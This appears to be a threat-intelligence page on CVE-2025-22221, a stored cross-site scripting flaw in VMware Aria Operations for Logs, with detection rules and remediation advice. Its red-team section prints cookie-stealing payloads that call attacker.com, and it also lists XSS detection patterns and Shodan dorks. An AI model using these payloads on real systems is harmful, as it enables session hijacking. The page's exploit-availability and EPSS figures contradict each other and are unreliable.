☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22221

CVE-2025-22221 Cross-Site Scripting in Vmware
📅 PUBLISHED: 2025-01-30 15:30 UTC 🔄 UPDATED: 2026-08-21 19:29 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22221 is a stored cross-site scripting (XSS) vulnerability in VMware Aria Operations for Logs. An attacker with admin privileges can inject a malicious script into the Agent Configuration interface. When a victim (typically another admin or operator) performs a delete action in that configuration, the injected script executes in their browser. This can lead to session hijacking, credential theft, or further lateral movement within the VMware ecosystem.

The vulnerability has a CVSS score of 5.2 (Medium), with a low EPSS score (0.0%) indicating no active exploitation in the wild at the time of analysis. No public exploit code or Nuclei template is available. The vendor has not released a patch or advisory, leaving systems in an unpatched state.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby). It affects a proprietary VMware product. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): High (H) – Attacker must have admin privileges.
  • User Interaction (UI): Required (R) – Victim must perform a delete action.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the stored XSS can be used for privilege escalation or lateral movement within the VMware environment.

Deep Dive & Mechanics

The vulnerability resides in the Agent Configuration module of VMware Aria Operations for Logs. The application fails to properly sanitize user-supplied input when creating or editing agent configurations. An admin user can inject arbitrary HTML/JavaScript into fields such as the agent name, description, or custom parameters.

When another admin (or the same admin) navigates to the Agent Configuration list and performs a delete action (e.g., clicking a delete button or confirming deletion), the injected script is rendered in the browser context. This is a classic stored XSS attack.

Attack Flow:

  1. Attacker with admin privileges logs into the VMware Aria Operations for Logs web interface.
  2. Attacker creates or edits an agent configuration, injecting a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
  3. The payload is stored in the application database.
  4. A victim admin navigates to the Agent Configuration page and attempts to delete the malicious agent configuration.
  5. The delete action triggers a page reload or AJAX call that renders the stored payload, executing the script in the victim's browser.
  6. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code likely lacks output encoding or sanitization in the delete confirmation dialog or the agent configuration list view.

Vulnerable Code (Conceptual):

// Vulnerable: Directly inserts user input into HTML
function renderAgentConfig(config) {
    document.getElementById('agent-list').innerHTML += 
        '<div class="agent-item">' + config.name + '</div>';
}

Patched Code (Conceptual):

// Patched: Uses textContent to prevent XSS
function renderAgentConfig(config) {
    var div = document.createElement('div');
    div.className = 'agent-item';
    div.textContent = config.name;
    document.getElementById('agent-list').appendChild(div);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Admin credentials to VMware Aria Operations for Logs.
  • Network access to the web interface.

Exploitation Steps:

  1. Log in as an admin.
  2. Navigate to Administration > Agent Configuration.
  3. Click Add or Edit an existing agent.
  4. In the Agent Name field, inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the configuration.
  6. Wait for a victim admin to view the agent list and attempt to delete the malicious agent.
  7. The victim's browser will execute the script, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

  • Monitor for unusual admin activity, especially creation of agent configurations with suspicious characters (e.g., <, >, script).
  • Use web application firewall (WAF) rules to block XSS payloads in agent configuration fields.
  • Enable logging of all admin actions and review for anomalies.

Hunting:

  • Search logs for patterns like %3Cscript%3E or %3Cimg%20src%3Dx%20onerror%3D.
  • Check for outbound connections from the VMware Aria Operations for Logs server to unknown IPs (potential C2 or data exfiltration).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP/HTTPS requests to attacker-controlled domains (e.g., attacker.com).
    • Suspicious User-Agent strings in logs (if attacker uses custom scripts).
  • File IOCs:
    • Modified agent configuration entries in the database containing HTML/JavaScript.
  • Log IOCs:
    • Repeated failed delete actions on the same agent configuration.
    • Unusual admin login times or IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_22221_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in VMware Aria Operations for Logs agent configurations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22221"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in VMware Aria Operations for Logs Agent Configuration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation or modification of agent configurations containing XSS payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22221
logsource:
    product: vmware
    service: aria_operations_for_logs
detection:
    selection:
        EventID: 1001  # Example: Agent configuration change event
        Payload|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in agent descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22221 Stored XSS Payload in Agent Config"; flow:to_server,established; content:"POST"; http_method; content:"/agent-config"; http_uri; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Admin Access: Limit the number of users with admin privileges to only those absolutely necessary.
  2. Input Validation: Implement strict input validation and output encoding for all agent configuration fields. Use a whitelist approach for allowed characters.
  3. Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads in HTTP requests to the agent configuration endpoints.
  4. Monitor Logs: Enable detailed audit logging for all admin actions and review regularly for suspicious activity.

Long-Term Fix:

  • Await an official patch from VMware. Once released, apply it immediately to all affected instances.
  • Consider upgrading to a patched version of VMware Aria Operations for Logs if available.

Workaround:

  • If patching is not possible, disable the Agent Configuration module for non-essential admins or implement a manual review process for all agent configuration changes.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:"VMware Aria Operations for Logs"
"VMware Aria Operations for Logs" "login"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22221/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.